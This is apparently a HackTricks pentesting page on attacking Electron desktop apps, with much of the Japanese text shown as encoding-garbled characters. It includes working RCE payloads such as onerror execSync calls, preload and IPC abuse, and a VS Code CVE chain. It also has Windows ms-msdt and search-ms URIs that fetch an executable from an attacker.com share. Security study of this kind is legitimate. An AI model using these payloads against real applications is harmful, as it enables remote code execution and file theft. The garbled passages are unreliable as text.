Electron ãã¹ã¯ãããã¢ããª
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
ã¯ããã«
Electronã¯ããŒã«ã«ã®ããã¯ãšã³ãïŒNodeJSïŒãšããã³ããšã³ãïŒChromiumïŒãçµã¿åãããŠããŸãããçŸä»£ã®ãã©ãŠã¶ãåããããã€ãã®ã»ãã¥ãªãã£æ©æ§ãæ¬ ããŠããŸãã
éåžžãelectronã¢ããªã®ã³ãŒãã¯.asarã¢ããªã±ãŒã·ã§ã³å
ã«ããããšãå€ããã³ãŒããååŸããã«ã¯ãããæœåºããå¿
èŠããããŸã:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Electron ã¢ããªã®ãœãŒã¹ã³ãŒãã§ã¯ãpacket.json å
ã«ã»ãã¥ãªãã£èšå®ãèšå®ãããŠãã main.js ãã¡ã€ã«ãæå®ãããŠããã®ã確èªã§ããŸãã
{
"name": "standard-notes",
"main": "./app/index.js",
Electronã«ã¯2ã€ã®ããã»ã¹ã¿ã€ãããããŸã:
- Main Process (NodeJSãžå®å šã«ã¢ã¯ã»ã¹ã§ãã)
- Renderer Process (ã»ãã¥ãªãã£äžã®çç±ããNodeJSãžã®ã¢ã¯ã»ã¹ã¯å¶éãããã¹ã)
.png)
renderer process ã¯ãã¡ã€ã«ãèªã¿èŸŒããã©ãŠã¶ãŠã£ã³ããŠã«ãªããŸã:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
main.js ãã¡ã€ã«å ã® ã¡ã€ã³ããã»ã¹ ã§ ã¬ã³ãã©ãŒããã»ã¹ ã®èšå®ã æ§æ ã§ããŸããããã€ãã®èšå®ã¯ãèšå®ãæ£ããæ§æãããŠããã° Electron ã¢ããªã±ãŒã·ã§ã³ã RCE ããã®ä»ã®è匱æ§ãåããã®ã 鲿¢ ããŸãã
Electron ã¢ããªã±ãŒã·ã§ã³ã¯ Node API çµç±ã§ ããã€ã¹ã«ã¢ã¯ã»ã¹ ã§ããå¯èœæ§ããããŸããããããé²ãããã«æ§æã§ããŸã:
nodeIntegration- ã¯ããã©ã«ãã§offã§ãããªã³ã«ãããšãã¬ã³ãã©ãŒããã»ã¹ãã node ã®æ©èœãžã¢ã¯ã»ã¹ã§ããããã«ãªããŸããcontextIsolation- ã¯ããã©ã«ãã§onã§ããoffã®å Žåãã¡ã€ã³ãšã¬ã³ãã©ãŒããã»ã¹ã¯åé¢ãããŸãããpreload- ã¯ããã©ã«ãã§ç©ºã§ããsandbox- ã¯ããã©ã«ãã§offã§ããNodeJS ãå®è¡ã§ããæäœãå¶éããŸãã- Workers å ã® Node Integration
nodeIntegrationInSubframes- ã¯ããã©ã«ãã§offã§ãã- ãã
nodeIntegrationã æå¹ ã§ããã°ãElectron ã¢ããªå ã® iframe ã«èªã¿èŸŒãŸãããŠã§ãããŒãžã§ Node.js APIs ã䜿çšã§ããããã«ãªããŸãã - ãã
nodeIntegrationã ç¡å¹ ã§ããã°ãpreload ã¹ã¯ãªãã㯠iframe å ã§èªã¿èŸŒãŸããŸãã
èšå®ã®äŸ:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
以äžã¯ here ããã® RCE payloads:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Capture traffic
start-main ã®èšå®ã倿Žããæ¬¡ã®ãã㪠proxy ã®äœ¿çšã远å ããŸã:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Local Code Injection
ããŒã«ã«ã§Electron Appãå®è¡ã§ããå Žåããã®ã¢ããªã«ä»»æã®javascriptã³ãŒããå®è¡ãããããšãå¯èœã§ãã詳ããã¯ä»¥äžãåç §ããŠãã ãã:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
ãã nodeIntegration ã on ã«èšå®ãããŠããå ŽåããŠã§ãããŒãžã®JavaScript㯠require() ãåŒã³åºãã ãã§ç°¡åã«Node.jsã®æ©èœã䜿çšã§ããŸããäŸãã°ãWindowsã§calcã¢ããªã±ãŒã·ã§ã³ãå®è¡ããæ¹æ³ã¯æ¬¡ã®ãšããã§ã:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
ãã®èšå®ã§æå®ãããã¹ã¯ãªããã¯ã¬ã³ãã©å ã®ä»ã®ã¹ã¯ãªããããå ã«èªã¿èŸŒãŸãããããNode APIsãžã®ç¡å¶éã®ã¢ã¯ã»ã¹ãæã¡ãŸã:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
ãããã£ãŠããã®ã¹ã¯ãªãã㯠node-features ãããŒãžã«ãšã¯ã¹ããŒãã§ããŸã:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] >
contextIsolationãæå¹ãªå Žåãããã¯åäœããŸãã
RCE: XSS + contextIsolation
The contextIsolation ã¯ãweb ããŒãžã®ã¹ã¯ãªãããš JavaScript Electron ã®å éšã³ãŒãã®éã« åé¢ãããã³ã³ããã¹ã ãå°å ¥ããããããã®ã³ãŒãã® JavaScript å®è¡ãäºãã«åœ±é¿ããªãããã«ããŸãããã㯠RCE ã®å¯èœæ§ãæé€ããããã«å¿ èŠãªæ©èœã§ãã
If the contexts arenât isolated an attacker can:
- arbitrary JavaScript in renderer ãå®è¡ããïŒXSS ãŸãã¯å€éšãµã€ããžã®é·ç§»ïŒ
- preload ã Electron internal code ã§äœ¿çšããã built-in method ãäžæžãããŠå¶åŸ¡ã奪ã
- äžæžãããã颿°ã®äœ¿çšã ããªã¬ãŒãã
- RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
ã¯ãªãã¯ã€ãã³ãã®ãã€ãã¹
ãªã³ã¯ãã¯ãªãã¯ãããšãã«å¶éãé©çšãããå Žåãéåžžã®å·Šã¯ãªãã¯ã®ä»£ããã« äžã¯ãªãã¯ãè¡ã ããšã§ããããåé¿ã§ããå ŽåããããŸãã
window.addEventListener('click', (e) => {
RCE via shell.openExternal
ãã®äŸã®è©³çްã«ã€ããŠã¯ https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 ãš https://benjamin-altpeter.de/shell-openexternal-dangers/ ãåç §ããŠãã ããã
Electron ãã¹ã¯ãããã¢ããªã±ãŒã·ã§ã³ããããã€ããéãnodeIntegration ãš contextIsolation ã®èšå®ãæ£ããè¡ãããšãéèŠã§ãããããã®èšå®ãããã°ãpreload scripts ã Electronâs native code from the main process ãæšçãšãã client-side remote code execution (RCE) ã¯å®è³ªçã«é²æ¢ãããããšã確ç«ãããŠããŸãã
ãŠãŒã¶ãŒããªã³ã¯ãæäœãããæ°ãããŠã£ã³ããŠãéããããããšãç¹å®ã® event listeners ãããªã¬ãŒãããã¢ããªã±ãŒã·ã§ã³ã®ã»ãã¥ãªãã£ãšæ©èœã«ãããŠéèŠãªåœ¹å²ãæãããŸãïŒ
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
ãããã®ãªã¹ããŒã¯ãã¹ã¯ãããã¢ããªã±ãŒã·ã§ã³ã«ãã£ãŠäžæžããããç¬èªã®ããžãã¹ããžãã¯ãå®è£
ããŸããã¢ããªã±ãŒã·ã§ã³ã¯ãããã²ãŒãããããªã³ã¯ãå
éšã§éãã¹ããå€éšã®Webãã©ãŠã¶ã§éãã¹ãããå€å®ããŸãã
ãã®å€å®ã¯éåžžãopenInternally 颿°ãéããŠè¡ãããŸãããããã®é¢æ°ã false ãè¿ãå Žåããã®ãªã³ã¯ã¯å€éšã§éãããã¹ãã§ããããšã瀺ããshell.openExternal 颿°ãå©çšããŸãã
以äžã¯ç°¡ç¥åããæ¬äŒŒã³ãŒãã§ãïŒ
.png)
.png)
Electron JS ã®ã»ãã¥ãªãã£ãã¹ããã©ã¯ãã£ã¹ã¯ãopenExternal 颿°ã§ä¿¡é ŒãããŠããªãã³ã³ãã³ããåãå
¥ããããšãé¿ããããæšå¥šããŠããŸãããªããªããããŸããŸãªãããã³ã«çµç±ã§ RCE ã«ç¹ããå¯èœæ§ãããããã§ããåãªãã¬ãŒãã£ã³ã°ã·ã¹ãã 㯠RCE ãåŒãèµ·ããåŸãç°ãªããããã³ã«ããµããŒãããŠããŸãã詳现ãªäŸã远å 説æã«ã€ããŠã¯ããã®è³æ ãåç
§ããŠãã ãããããã«ã¯ãã®è匱æ§ãæªçšã§ãã Windows ãããã³ã«ã®äŸãå«ãŸããŠããŸãã
macOS ã§ã¯ãopenExternal 颿°ã¯ shell.openExternal('file:///System/Applications/Calculator.app') ã®ããã«ä»»æã®ã³ãã³ããå®è¡ããããã«æªçšããåŸãŸãã
Windows ãããã³ã«ã®æªçšäŸã«ã¯ä»¥äžãå«ãŸããŸãïŒ
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + vulnerable preload IPC + shell.openExternal
ãã®è匱æ§ã¯ this report ã«èšèŒãããŠããŸãã
webviewTag 㯠deprecated feature ã§ãrenderer process ã§ NodeJS ã䜿çšå¯èœã«ããŸããpreload context å ã«æ¬¡ã®ãããªã¹ã¯ãªãããèªã¿èŸŒãããããç¡å¹åãã¹ãã§ã:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
ãããã£ãŠãä»»æã®ããŒãžãèªã¿èŸŒããæ»æè ã¯ããã®ã¿ã°ã䜿ã£ãŠload an arbitrary preload scriptãå®è¡ã§ããã
ãã®preload scriptã¯æªçšããã**vulnerable IPC service (skype-new-window)ãåŒã³åºãããã®ãµãŒãã¹ãshell.openExternal**ãåŒã³åºããŠRCEãåŸãŠããŸãã:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
å éšãã¡ã€ã«ã®èªã¿åã: XSS + contextIsolation
contextIsolationãç¡å¹ã«ãããšã<webview>ã¿ã°ã䜿çšå¯èœã«ãªãã<iframe>ãšåæ§ã«ããŒã«ã«ãã¡ã€ã«ã®èªã¿åãããã³ exfiltrating ãå¯èœã«ãªããŸãã 以äžã®äŸã¯ããã®è匱æ§ã exploit ããŠå
éšãã¡ã€ã«ã®å
容ãèªãæ¹æ³ã瀺ããŠããŸã:
.png)
ããã«ãå¥ã®æ¹æ³ã§å éšãã¡ã€ã«ã®èªã¿åãã玹ä»ãããŠãããElectron ãã¹ã¯ãããã¢ããªã«ãããé倧ãªããŒã«ã«ãã¡ã€ã«èªã¿åãè匱æ§ãæµ®ã圫ãã«ããŠããŸããããã¯ãã¹ã¯ãªãããæ³šå ¥ããŠã¢ããªã±ãŒã·ã§ã³ã exploit ããããŒã¿ã exfiltrate ããããšãå«ã¿ãŸã:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Old Chromium
ã¢ããªã±ãŒã·ã§ã³ã§äœ¿çšãããŠãã chromium ã å€ã ã〠æ¢ç¥ã® èåŒ±æ§ ãããå ŽåããããæªçšããŠXSSãä»ããŠRCEãååŸãã ããšãå¯èœãããããŸããã\ äŸã¯ãã®writeupã§ç¢ºèªã§ããŸã: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Internal URL regex bypass
ãã XSS ãèŠã€ããã RCE ãããªã¬ãŒã§ããªãããŸãã¯å éšãã¡ã€ã«ãçããªã å Žåã¯ãããã䜿ã£ãŠ steal credentials via phishing ã詊ã¿ãããšãã§ããŸãã
ãŸããæ°ããURLãéãããšãããšãã«äœãèµ·ããããææ¡ããå¿ èŠããããŸããããã³ããšã³ãã®JSã³ãŒãã確èªããŠãã ãã:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
The call to openInternally will decide if the link will be opened in the desktop window as itâs a link belonging to the platform, or if will be opened in the browser as a 3rd party resource.
颿°ã§äœ¿çšããã regex ã vulnerable to bypassesïŒäŸãã° not escaping the dots of subdomains ã®ãããªå ŽåïŒãæ»æè 㯠XSS ãæªçšããŠæ»æè ã®ã€ã³ãã©äžã«é 眮ããã open a new window which ãéãããŠãŒã¶ãŒã«èªèšŒæ å ±ãèŠæ±ããïŒasking for credentialsïŒããšãã§ããŸãïŒ
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file:// ãããã³ã«
As mentioned in the docs pages running on file:// have unilateral access to every file on your machine meaning that XSS issues can be used to load arbitrary files from the users machine. Using a ã«ã¹ã¿ã ãããã³ã« prevents issues like this as you can limit the protocol to only serving a specific set of files.
Remote module
The Electron Remote module allows renderer processes to access main process APIs, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the applicationâs attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
Tip
Although the remote module exposes some APIs from main to renderer processes, itâs not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
Warning
Many apps that still use the remote module do it in a way that require NodeIntegration to be enabled in the renderer process, which is a huge security risk.
Since Electron 14 the remote module of Electron might be enabled in several steops cause due to security and performance reasons itâs recommended to not use it.
To enable it, itâd first needed to enable it in the main process:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
ãããšãrenderer ããã»ã¹ã¯æ¬¡ã®ããã« module ãããªããžã§ã¯ãã import ã§ããŸã:
import { dialog, getCurrentWindow } from '@electron/remote'
ãã® blog post 㯠remote module ã®ãªããžã§ã¯ã app ãå
¬éããããã€ãã®è峿·±ã 颿° ã瀺ããŠããŸã:
app.relaunch([options])- ã¢ããªã±ãŒã·ã§ã³ãåèµ·åããŸããçŸåšã®ã€ã³ã¹ã¿ã³ã¹ãçµäºããŠæ°ããã€ã³ã¹ã¿ã³ã¹ãèµ·åããŸããapp ã®æŽæ°ãé倧ãªç¶æ 倿Žã«äŸ¿å©ã§ãã
app.setAppLogsPath([path])- app ãã°ãæ ŒçŽãããã£ã¬ã¯ããªãå®çŸ©ãŸãã¯äœæããŸãããã°ã¯**
app.getPath()ãapp.setPath(pathName, newPath)ã䜿ã£ãŠååŸãŸãã¯å€æŽ**ã§ããŸãã app.setAsDefaultProtocolClient(protocol[, path, args])- æå®ãããããã³ã«ã«å¯Ÿããããã©ã«ããã³ãã©ãšããŠçŸåšã®å®è¡ãã¡ã€ã«ãç»é²ããŸããå¿ èŠã«å¿ããŠã«ã¹ã¿ã ãã¹ãåŒæ°ãæå®ã§ããŸãã
app.setUserTasks(tasks)- Windows ã® Jump List å ã® Tasks category ã«ã¿ã¹ã¯ã远å ããŸããåã¿ã¹ã¯ã¯ app ã®èµ·åæ¹æ³ãæž¡ãããåŒæ°ãå¶åŸ¡ã§ããŸãã
app.importCertificate(options, callback)- PKCS#12 certificate ãã·ã¹ãã ã® certificate store ã«ã€ã³ããŒãããŸãïŒLinux ã®ã¿ïŒãçµæãåŠçããããã«callbackã䜿ããŸãã
app.moveToApplicationsFolder([options])- ã¢ããªã±ãŒã·ã§ã³ã Applications folder ã«ç§»åããŸãïŒmacOSïŒãMac ãŠãŒã¶ãŒã«ãšã£ãŠã®æšæºçãªã€ã³ã¹ããŒã«ã確ä¿ããã®ã«åœ¹ç«ã¡ãŸãã
app.setJumpList(categories)- Windows äžã§ã«ã¹ã¿ã Jump List ãèšå®ãŸãã¯åé€ããŸããã¿ã¹ã¯ã®è¡šç€ºæ¹æ³ãæŽçããããã«categoriesãæå®ã§ããŸãã
app.setLoginItemSettings(settings)- ã©ã®å®è¡ãã¡ã€ã«ããã°ã€ã³æã«èµ·åããããšãã®ãªãã·ã§ã³ãèšå®ããŸãïŒmacOS ãš Windows ã®ã¿ïŒã
äŸ:
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences ã¢ãžã¥ãŒã«
Electronã§ã·ã¹ãã ç°å¢èšå®ã«ã¢ã¯ã»ã¹ããã·ã¹ãã ã€ãã³ããçºè¡ããããã®äž»èŠãª APIã§ããsubscribeNotificationãsubscribeWorkspaceNotificationãgetUserDefaultãsetUserDefault ãšãã£ãã¡ãœããã¯ãã¹ãŠãã®ã¢ãžã¥ãŒã«ã®äžéšã§ãã
䜿çšäŸ:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
-
Listens for native macOS notifications using NSDistributedNotificationCenter.
NSDistributedNotificationCenterã䜿çšããŠãã€ãã£ããªmacOSéç¥ãåä¿¡ããŸãã -
Before macOS Catalina, you could sniff all distributed notifications by passing nil to CFNotificationCenterAddObserver.
macOS Catalina以åã¯ãCFNotificationCenterAddObserverã«nilãæž¡ãããšã§ããã¹ãŠã®distributed notificationãååã§ããŸããã -
After Catalina / Big Sur, sandboxed apps can still subscribe to many events (for example, screen locks/unlocks, volume mounts, network activity, etc.) by registering notifications by name.
Catalina / Big Sur以éã§ãããµã³ãããã¯ã¹åãããã¢ããªã¯éç¥ãååã§ç»é²ããããšã§ãïŒäŸïŒç»é¢ã®ããã¯/ã¢ã³ããã¯ãããªã¥ãŒã ã®ããŠã³ãããããã¯ãŒã¯ã¢ã¯ãã£ããã£ãªã©ïŒå€ãã®ã€ãã³ãã賌èªã§ããŸãã
getUserDefault / setUserDefault
-
Interfaces with NSUserDefaults, which stores application or global preferences on macOS.
NSUserDefaultsãšã€ã³ã¿ãŒãã§ã€ã¹ããmacOSäžã®ã¢ããªã±ãŒã·ã§ã³ãŸãã¯ã°ããŒãã«ãªèšå®ãä¿åããŸãã -
getUserDefault can retrieve sensitive information, such as recent file locations or userâs geographic location.
getUserDefaultã¯ãæè¿ã®ãã¡ã€ã«ã®å ŽæããŠãŒã¶ãŒã®å°ççäœçœ®ãªã©ã®æ©åŸ®ãªæ å ±ãååŸã§ããå¯èœæ§ããããŸãã -
setUserDefault can modify these preferences, potentially affecting an appâs configuration.
setUserDefaultã¯ãããã®èšå®ã倿Žã§ããã¢ããªã®èšå®ã«åœ±é¿ãäžããå¯èœæ§ããããŸãã -
In older Electron versions (before v8.3.0), only the standard suite of NSUserDefaults was accessible.
å€ãElectronããŒãžã§ã³ïŒv8.3.0以åïŒã§ã¯ãNSUserDefaultsã®æšæºã¹ã€ãŒãã®ã¿ãã¢ã¯ã»ã¹å¯èœã§ããã
Shell.showItemInFolder
This function whows the given file in a file manager, which could automatically execute the file.
ãã®é¢æ°ã¯æå®ããããã¡ã€ã«ããã¡ã€ã«ãããŒãžã£ã§è¡šç€ºããŸããããã¡ã€ã«ãèªåçã«å®è¡ãããå¯èœæ§ããããŸãã
For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Electron apps should have a Content Security Policy (CSP) to prevent XSS attacks. The CSP is a security standard that helps prevent the execution of untrusted code in the browser.
Electronã¢ããªã¯XSSæ»æãé²ãããã«Content Security Policy (CSP)ãæã€ã¹ãã§ããCSPã¯ãã©ãŠã¶äžã§ä¿¡é ŒãããŠããªãã³ãŒãã®å®è¡ãé²ãããã®ã»ãã¥ãªãã£æšæºã§ãã
Itâs usually configured in the main.js file or in the index.html template with the CSP inside a meta tag.
éåžžã¯**main.jsãã¡ã€ã«ãindex.htmlãã³ãã¬ãŒãå
ã®metaã¿ã°ã§CSPãèšå®**ãããŸãã
For more information check:
Content Security Policy (CSP) Bypass
RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
ãã®å®éã®ãã§ãŒã³ã¯ Visual Studio Code 1.63ïŒCVE-2021-43908ïŒã«åœ±é¿ãäžããwebviewå
ã®1ã€ã®markdownç±æ¥ã®XSSããCSPãpostMessageãschemeãã³ãã©ã誀èšå®ãããŠãããšãã«ã©ã®ããã«å®å
šãªRCEã«ãšã¹ã«ã¬ãŒããããã瀺ããŠããŸããPublic PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
æ»æãã§ãŒã³ã®æŠèŠ
-
First XSS via webview CSP: The generated CSP included
style-src 'self' 'unsafe-inline', allowing inline/style-based injection in avscode-webview://context. The payload beaconed to/stealIDto exfiltrate the target webviewâs extensionId.
webview CSPçµç±ã®æåã®XSS: çæãããCSPã¯style-src 'self' 'unsafe-inline'ãå«ãã§ãããvscode-webview://ã³ã³ããã¹ãã§ã€ã³ã©ã€ã³/ã¹ã¿ã€ã«ããŒã¹ã®æ³šå ¥ãèš±å¯ããŠããŸããããã€ããŒãã¯ã¿ãŒã²ããwebviewã®extensionIdãæŒæŽ©ãããããã«/stealIDã«ããŒã³ã³ãéä¿¡ããŸããã -
Constructing target webview URL: Using the leaked ID to build
vscode-webview://<extensionId>/.../<publicUrl>.
ã¿ãŒã²ããwebviewã®URLæ§ç¯: leaked IDã䜿ã£ãŠvscode-webview://<extensionId>/.../<publicUrl>ãæ§ç¯ããŸããã -
Second XSS via postMessage trust: The outer webview trusted
window.postMessagewithout strict origin/type checks and loaded attacker HTML withallowScripts: true.
postMessageã®ä¿¡é Œã«ãã2åç®ã®XSS: å€åŽã®webviewã¯å³å¯ãªorigin/typeãã§ãã¯ãªãã«window.postMessageãä¿¡é ŒããallowScripts: trueã§æ»æè ã®HTMLãèªã¿èŸŒã¿ãŸããã -
Local file loading via scheme/path rewriting: The payload rewrote
file:///...tovscode-file://vscode-app/...and swappedexploit.mdforRCE.html, abusing weak path validation to load a privileged local resource.
ã¹ããŒã /ãã¹æžãæãã«ããããŒã«ã«ãã¡ã€ã«èªã¿èŸŒã¿: ãã€ããŒãã¯file:///...ãvscode-file://vscode-app/...ã«æžãæããexploit.mdãRCE.htmlã«çœ®ãæããããšã§ãè匱ãªãã¹æ€èšŒãæªçšããŠç¹æš©ã®ããããŒã«ã«ãªãœãŒã¹ãèªã¿èŸŒã¿ãŸããã -
RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Nodeãæå¹ãªã³ã³ããã¹ãã§ã®RCE: èªã¿èŸŒãŸããHTMLã¯Node APIãå©çšå¯èœãªç¶æ ã§å®è¡ãããOSã³ãã³ãå®è¡ã«è³ããŸããã
Example RCE primitive in the final context
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
postMessage ã®ä¿¡é Œæ§ã®åé¡ã«é¢ããé¢é£è³æ:
ããŒã«
- Electronegativity 㯠Electron ããŒã¹ã®ã¢ããªã±ãŒã·ã§ã³ã«ããã誀èšå®ãã»ãã¥ãªãã£ã®ã¢ã³ããã¿ãŒã³ãç¹å®ããããŒã«ã§ãã
- Electrolint 㯠Electronegativity ãå©çšãã Electron ã¢ããªåãã®ãªãŒãã³ãœãŒã¹ã® VS Code ãã©ã°ã€ã³ã§ãã
- nodejsscan ã¯è匱ãªãµãŒãããŒãã£ã©ã€ãã©ãªããã§ãã¯ããããã®ããŒã«
- Electro.ng: è³Œå ¥ãå¿ èŠã§ã
ã©ã
次ã®ãªã³ã¯ https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s ã«ã¯ãè匱㪠Electron ã¢ããªã exploit ããããã®ã©ãããããŸãã
ã©ãã§åœ¹ç«ã€ããã€ãã®ã³ãã³ã:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
V8 heap snapshot ã®æ¹ããã«ããããŒã«ã«ããã¯ãã¢èšçœ® (Electron/Chromium) â CVE-2025-55305
Electron ã Chromium ããŒã¹ã®ã¢ããªã¯ãèµ·åæã«äºåäœæããã V8 heap snapshot (v8_context_snapshot.binãå¿ èŠã«å¿ã㊠browser_v8_context_snapshot.bin) ããã·ãªã¢ã©ã€ãºããŠå V8 isolate (main, preload, renderer) ãåæåããŸããæŽå²çã«ãElectron ã® integrity fuses ã¯ãããã®ã¹ãããã·ã§ãããå®è¡å¯èœã³ã³ãã³ããšããŠæ±ã£ãŠãããããã®ãã fuse ããŒã¹ã®æŽåæ§åŒ·å¶ã OS ã®ã³ãŒã眲åãã§ãã¯ã®äž¡æ¹ãåé¿ããŠããŸããããã®çµæããŠãŒã¶ãæžã蟌ã¿å¯èœãªã€ã³ã¹ããŒã«å ã§ã¹ãããã·ã§ããã眮ãæããããšã§ãçœ²åæžã¿ãã€ããªã ASAR ã倿Žããã«ã¢ããªå éšã§ã¹ãã«ã¹ãã€æç¶çãªã³ãŒãå®è¡ãå¯èœã«ãªããŸããã
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation ãš OnlyLoadAppFromAsar 㯠ASAR å ã®ã¢ã㪠JavaScript ãæ€èšŒããŸãããV8 heap snapshots ã¯ã«ããŒããŠããŸãã (CVE-2025-55305)ãChromium ãåæ§ã«ã¹ãããã·ã§ããã®æŽåæ§ãã§ãã¯ãè¡ããŸããã
- Attack preconditions: ã¢ããªã®ã€ã³ã¹ããŒã«ãã£ã¬ã¯ããªãžã®ããŒã«ã«ãã¡ã€ã«æžã蟌ã¿ãElectron ã¢ããªã Chromium ãã©ãŠã¶ããŠãŒã¶æžã蟌ã¿å¯èœãªãã¹ã«ã€ã³ã¹ããŒã«ãããŠããç°å¢ïŒäŸ: %AppData%\Local on Windows; /Applications with caveats on macOSïŒã§ã¯äžè¬çã§ãã
